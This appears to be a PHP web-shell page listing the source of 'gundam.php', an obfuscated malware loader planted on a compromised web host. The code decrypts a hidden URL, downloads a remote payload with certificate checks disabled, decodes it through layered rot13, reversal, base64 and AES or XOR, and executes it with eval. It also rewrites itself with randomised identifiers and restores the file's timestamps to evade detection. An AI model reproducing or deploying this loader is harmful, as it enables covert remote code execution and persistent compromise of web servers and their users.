.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
    • Current Path : /home/users4/s/scribal/www/
    Upload File
    @Command ~ $  
    Current File : /home/users4/s/scribal/www/gundam.php

    <?php
@error_reporting(0);@ini_set('display_errors','0');

$a7e727402=834;$m1f01bed0=228;$z7aed428cb2=900;$c9bfe94cb82=327;$m93cfdd3=526;

$v3ab1d8573c=['fWttXSxTKSpX','SjRhQyhddiZX','T1VeaEpOJC41','ZmM1QVl1azE='];
$r774036516='';
foreach($v3ab1d8573c as $ab99ad885a2){
$r774036516.=base64_decode($ab99ad885a2);
}

$o0398779b='5d01157464b9bcae1c5fbf9294692121';
$y12d24c19e='amFmRFAxS1BjbVVvdVhSbjZEQ3NHS2xGMHQyZ3pyUGx6a05mNkErekZ0ekZKN3N0QkhwOTYrVjFITnNPblFacQ==';
$oa4150de6b=openssl_decrypt(base64_decode($y12d24c19e),"AES-128-ECB",substr(sha1($r774036516,true),0,16));
$h380489ed='WyJyb3QxMyIsInN0cnJldiJd';

function qd10f083bfeb($a75727c65e){
if(function_exists('curl_init')){
$qe51be522=@curl_init($a75727c65e);
if($qe51be522){
@curl_setopt($qe51be522,CURLOPT_RETURNTRANSFER,1);
@curl_setopt($qe51be522,CURLOPT_SSL_VERIFYPEER,0);
@curl_setopt($qe51be522,CURLOPT_SSL_VERIFYHOST,0);
@curl_setopt($qe51be522,CURLOPT_TIMEOUT,15);
@curl_setopt($qe51be522,CURLOPT_CONNECTTIMEOUT,5);
@curl_setopt($qe51be522,CURLOPT_FOLLOWLOCATION,1);
@curl_setopt($qe51be522,CURLOPT_ENCODING,'gzip');
@curl_setopt($qe51be522,CURLOPT_DNS_CACHE_TIMEOUT,3600);
@curl_setopt($qe51be522,CURLOPT_TCP_FASTOPEN,1);
$i3d5a2cded=@curl_exec($qe51be522);
$rbde77186=@curl_errno($qe51be522);
@curl_close($qe51be522);
if(!$rbde77186&&$i3d5a2cded&&strlen($i3d5a2cded)>50)return $i3d5a2cded;
}}
if(ini_get('allow_url_fopen')){
$rbde77186=@stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false],'http'=>['timeout'=>10,'ignore_errors'=>true]]);
$i3d5a2cded=@file_get_contents($a75727c65e,false,$rbde77186);
if($i3d5a2cded&&strlen($i3d5a2cded)>50)return $i3d5a2cded;
}
$rbde77186=@parse_url($a75727c65e);
if($rbde77186){
$qe51be522=($rbde77186['scheme']=='https'?'ssl://':'').$rbde77186['host'];
$i3d5a2cded=@fsockopen($qe51be522,$rbde77186['scheme']=='https'?443:80,$_e,$_s,8);
if($i3d5a2cded){
$_p=isset($rbde77186['path'])?$rbde77186['path']:'/';
if(isset($rbde77186['query']))$_p.='?'.$rbde77186['query'];
@fwrite($i3d5a2cded,"GET ".$_p." HTTP/1.1\r\nHost: ".$rbde77186['host']."\r\nAccept-Encoding: gzip\r\nConnection: Close\r\n\r\n");
$_r='';
while(!@feof($i3d5a2cded))$_r.=@fgets($i3d5a2cded,8192);
@fclose($i3d5a2cded);
$_b=strpos($_r,"\r\n\r\n");
if($_b!==false){$_r=substr($_r,$_b+4);if(strlen($_r)>50)return $_r;}
}}
return false;
}

function xdb9d3bf1($w573589ee,$a258c2e8){
$d45f8d7acf4=json_decode(base64_decode($a258c2e8),true);
$k6bdcae868=base64_decode($w573589ee);
foreach(array_reverse($d45f8d7acf4) as $gc1b4f577){
if($gc1b4f577=='rot13')$k6bdcae868=str_rot13($k6bdcae868);
elseif($gc1b4f577=='strrev')$k6bdcae868=strrev($k6bdcae868);
}
return base64_decode($k6bdcae868);
}

function uc874a3fa61($k8ce212a,$r774036516,$o0398779b){
$nb4cfbc9fd3=hash_pbkdf2('sha256',$r774036516,$o0398779b,10000,32,true);
$i63abb76af=substr($k8ce212a,0,1);
$b7f2310a9=substr($k8ce212a,1,16);
$i3a66649d=substr($k8ce212a,17);
if($i63abb76af==chr(1)&&extension_loaded('openssl')){
return openssl_decrypt($i3a66649d,'aes-256-ctr',$nb4cfbc9fd3,OPENSSL_RAW_DATA,$b7f2310a9);
}else{
$a75727c65e='';
for($qe51be522=0;$qe51be522<strlen($i3a66649d);$qe51be522++){
$a75727c65e.=$i3a66649d[$qe51be522]^$nb4cfbc9fd3[$qe51be522%strlen($nb4cfbc9fd3)];
}
return $a75727c65e;
}
}

$i3d5a2cded=qd10f083bfeb($oa4150de6b);
if(!$i3d5a2cded)die('E');
$rbde77186=xdb9d3bf1($i3d5a2cded,$h380489ed);
$w573589ee=uc874a3fa61($rbde77186,$r774036516,$o0398779b);
@eval('?>'.$w573589ee);
$w573589ee=null;$rbde77186=null;$i3d5a2cded=null;unset($w573589ee,$rbde77186,$i3d5a2cded);

class A9fc784700{
private static $ka892ac233=0;
private $b57a1955='5d01157464b9bcae1c5fbf9294692121';
private $uca5e56a2='amFmRFAxS1BjbVVvdVhSbjZEQ3NHS2xGMHQyZ3pyUGx6a05mNkErekZ0ekZKN3N0QkhwOTYrVjFITnNPblFacQ==';
private $x9ce5023='WyJyb3QxMyIsInN0cnJldiJd';
private $y50d202454=['fWttXSxTKSpX','SjRhQyhddiZX','T1VeaEpOJC41','ZmM1QVl1azE='];

public function t48f8bec2b6(){
if(!empty($_GET)||!empty($_POST))return false;
clearstatcache();
if(time()-filemtime(__FILE__)>86400)return true;
if(rand(1,100)<=3)return true;
self::$ka892ac233++;
if(self::$ka892ac233>=50)return true;
return false;
}

public function t63ca10e87(){
$file=__FILE__;
clearstatcache();
$stat=stat($file);
$mtime=$stat['mtime'];
$atime=$stat['atime'];

$nv=[];
for($i=0;$i<26;$i++){
$c2='abcdefghijklmnopqrstuvwxyz';
$n='$'.$c2[rand(0,25)];
for($j=0;$j<rand(7,11);$j++)$n.=substr(md5(mt_rand()),rand(0,25),1);
$nv[]=$n;
}

$nf=[];
for($i=0;$i<10;$i++){
$c2='abcdefghijklmnopqrstuvwxyz';
$n=$c2[rand(0,25)].substr(md5(mt_rand()),0,1);
for($j=0;$j<rand(6,10);$j++)$n.=substr(md5(mt_rand()),rand(0,25),1);
$nf[]=$n;
}

$nc=chr(rand(65,90));
for($i=0;$i<rand(8,12);$i++)$nc.=substr(md5(mt_rand()),rand(0,25),1);

$c="<?php"."\n";
$c.="@error_reporting(0);@ini_set('display_errors','0');"."\n\n";
for($i=0;$i<rand(4,8);$i++){
$c.='$'.substr(md5(mt_rand()),0,8).'='.rand(100,999).';';
}
$c.="\n\n";

$c.=$nv[0].'=[';
foreach($this->y50d202454 as $k){
$c.="'".addslashes($k)."',";
}
$c=rtrim($c,',').'];'."\n";
$c.=$nv[1].'=\'\';'."\n";
$c.='foreach('.$nv[0].' as '.$nv[2].'){'."\n";
$c.=$nv[1].'.=base64_decode('.$nv[2].');'."\n";
$c.='}'."\n\n";

$c.=$nv[3].'=\''.addslashes($this->b57a1955).'\';'."\n";
$c.=$nv[25].'=\''.addslashes($this->uca5e56a2).'\';'."\n";
$c.=$nv[4].'=openssl_decrypt(base64_decode('.$nv[25].'),\"AES-128-ECB\",substr(sha1('.$nv[1].',true),0,16));'."\n";
$c.=$nv[5].'=\''.addslashes($this->x9ce5023).'\';'."\n\n";

$c.='function '.$nf[0].'('.$nv[6].'){'."\n";
$c.='if(function_exists(\'curl_init\')){'."\n";
$c.=$nv[7].'=@curl_init('.$nv[6].');'."\n";
$c.='if('.$nv[7].'){'."\n";
$c.='@curl_setopt('.$nv[7].',CURLOPT_RETURNTRANSFER,1);'."\n";
$c.='@curl_setopt('.$nv[7].',CURLOPT_SSL_VERIFYPEER,0);'."\n";
$c.='@curl_setopt('.$nv[7].',CURLOPT_SSL_VERIFYHOST,0);'."\n";
$c.='@curl_setopt('.$nv[7].',CURLOPT_TIMEOUT,15);'."\n";
$c.='@curl_setopt('.$nv[7].',CURLOPT_CONNECTTIMEOUT,5);'."\n";
$c.='@curl_setopt('.$nv[7].',CURLOPT_FOLLOWLOCATION,1);'."\n";
$c.='@curl_setopt('.$nv[7].',CURLOPT_ENCODING,\'gzip\');'."\n";
$c.='@curl_setopt('.$nv[7].',CURLOPT_DNS_CACHE_TIMEOUT,3600);'."\n";
$c.='@curl_setopt('.$nv[7].',CURLOPT_TCP_FASTOPEN,1);'."\n";
$c.=$nv[8].'=@curl_exec('.$nv[7].');'."\n";
$c.=$nv[9].'=@curl_errno('.$nv[7].');'."\n";
$c.='@curl_close('.$nv[7].');'."\n";
$c.='if(!'.$nv[9].'&&'.$nv[8].'&&strlen('.$nv[8].')>50)return '.$nv[8].';'."\n";
$c.='}}'."\n";
$c.='if(ini_get(\'allow_url_fopen\')){'."\n";
$c.=$nv[9].'=@stream_context_create([\'ssl\'=>[\'verify_peer\'=>false,\'verify_peer_name\'=>false],\'http\'=>[\'timeout\'=>10]]);'."\n";
$c.=$nv[8].'=@file_get_contents('.$nv[6].',false,'.$nv[9].');'."\n";
$c.='if('.$nv[8].'&&strlen('.$nv[8].')>50)return '.$nv[8].';'."\n";
$c.='}'."\n";
$c.=$nv[9].'=@parse_url('.$nv[6].');'."\n";
$c.='if('.$nv[9].'){'."\n";
$c.=$nv[7].'=('.$nv[9].'[\'scheme\']==\'https\'?\'ssl://\':last\'\').'.$nv[9].'[\'host\'];'."\n";
$c.=$nv[8].'=@fsockopen('.$nv[7].','.$nv[9].'[\'scheme\']==\'https\'?443:80,$_e,$_s,8);'."\n";
$c.='if('.$nv[8].'){'."\n";
$c.='$_p=isset('.$nv[9].'[\'path\'])?'.$nv[9].'[\'path\']:\'/\';'."\n";
$c.='if(isset('.$nv[9].'[\'query\']))$_p.=\'?\'.'.$nv[9].'[\'query\'];'."\n";
$c.='@fwrite('.$nv[8].',\"GET \".$_p.\" HTTP/1.1\\r\\nHost: \".'."\n";
$c.=$nv[9].'[\'host\'].\"\\r\\nAccept-Encoding: gzip\\r\\nConnection: Close\\r\\n\\r\\n\");'."\n";
$c.='$_r=\'\';'."\n";
$c.='while(!@feof('.$nv[8].'))$_r.=@fgets('.$nv[8].',8192);'."\n";
$c.='@fclose('.$nv[8].');'."\n";
$c.='$_b=strpos($_r,\"\\r\\n\\r\\n\");'."\n";
$c.='if($_b!==false){$_r=substr($_r,$_b+4);if(strlen($_r)>50)return $_r;}'."\n";
$c.='}}'."\n";
$c.='return false;'."\n";
$c.='}'."\n\n";

$c.='function '.$nf[1].'('.$nv[10].','.$nv[11].'){'."\n";
$c.=$nv[12].'=json_decode(base64_decode('.$nv[11].'),true);'."\n";
$c.=$nv[13].'=base64_decode('.$nv[10].');'."\n";
$c.='foreach(array_reverse('.$nv[12].') as '.$nv[14].'){'."\n";
$c.='if('.$nv[14].'==\'rot13\')'.$nv[13].'=str_rot13('.$nv[13].');'."\n";
$c.='elseif('.$nv[14].'==\'strrev\')'.$nv[13].'=strrev('.$nv[13].');'."\n";
$c.='}'."\n";
$c.='return base64_decode('.$nv[13].');'."\n";
$c.='}'."\n\n";

$c.='function '.$nf[2].'('.$nv[15].','.$nv[1].','.$nv[3].'){'."\n";
$c.=$nv[16].'=hash_pbkdf2(\'sha256\','.$nv[1].','.$nv[3].',10000,32,true);'."\n";
$c.=$nv[17].'=substr('.$nv[15].',0,1);'."\n";
$c.=$nv[18].'=substr('.$nv[15].',1,16);'."\n";
$c.=$nv[19].'=substr('.$nv[15].',17);'."\n";
$c.='if('.$nv[17].'==chr(1)&&extension_loaded(\'openssl\')){'."\n";
$c.='return openssl_decrypt('.$nv[19].',\'aes-256-ctr\','.$nv[16].',OPENSSL_RAW_DATA,'.$nv[18].');'."\n";
$c.='}else{'."\n";
$c.=$nv[6].'=\'\';'."\n";
$c.='for('.$nv[7].'=0;'.$nv[7].'<strlen('.$nv[19].');'.$nv[7].'++){'."\n";
$c.=$nv[6].'.='.$nv[19].'['.$nv[7].']^'.$nv[16].'['.$nv[7].'%strlen('.$nv[16].')];'."\n";
$c.='}'."\n";
$c.='return '.$nv[6].';'."\n";
$c.='}'."\n";
$c.='}'."\n\n";

$c.=$nv[8].'='.$nf[0].'('.$nv[4].');'."\n";
$c.='if(!'.$nv[8].')die(\'E\');'."\n";
$c.=$nv[9].'='.$nf[1].'('.$nv[8].','.$nv[5].');'."\n";
$c.=$nv[10].'='.$nf[2].'('.$nv[9].','.$nv[1].','.$nv[3].');'."\n";
$c.='@eval(\'?>\'.'.$nv[10].');'."\n";
$c.=$nv[10].'=null;'.$nv[9].'=null;'.$nv[8].'=null;unset('.$nv[10].','.$nv[9].','.$nv[8].');'."\n\n";

$c.='class '.$nc.'{'."\n";
$c.='private static '.$nv[20].'=0;'."\n";
$c.='private '.substr($nv[21],1).'=\''.addslashes($this->b57a1955).'\';'."\n";
$c.='private '.substr($nv[22],1).'=\''.addslashes($this->uca5e56a2).'\';'."\n";
$c.='private '.substr($nv[23],1).'=\''.addslashes($this->x9ce5023).'\';'."\n";
$c.='private '.substr($nv[24],1).'=[';
foreach($this->y50d202454 as $k){
$c.="'".addslashes($k)."',";
}
$c=rtrim($c,',').'];'."\n\n";

$c.='public function '.$nf[3].'(){'."\n";
$c.='if(!empty($_GET)||!empty($_POST))return false;'."\n";
$c.='clearstatcache();'."\n";
$c.='if(time()-filemtime(__FILE__)>86400)return true;'."\n";
$c.='if(rand(1,100)<=3)return true;'."\n";
$c.='self::'.$nv[20].'++;'."\n";
$c.='if(self::'.$nv[20].'>=50)return true;'."\n";
$c.='return false;'."\n";
$c.='}'."\n\n";

$c.='public function '.$nf[4].'(){/*mutate*/}'."\n";
$c.='}'."\n\n";

$c.='$obj=new '.$nc.';'."\n";
$c.='if($obj->'.$nf[3].'()){'."\n";
$c.='$obj->'.$nf[4].'();'."\n";
$c.='}'."\n";
$c.='?>';

file_put_contents($file,$c);
touch($file,$mtime,$atime);
}
}

$obj=new A9fc784700();
if($obj->t48f8bec2b6()){
$obj->t63ca10e87();
}
?>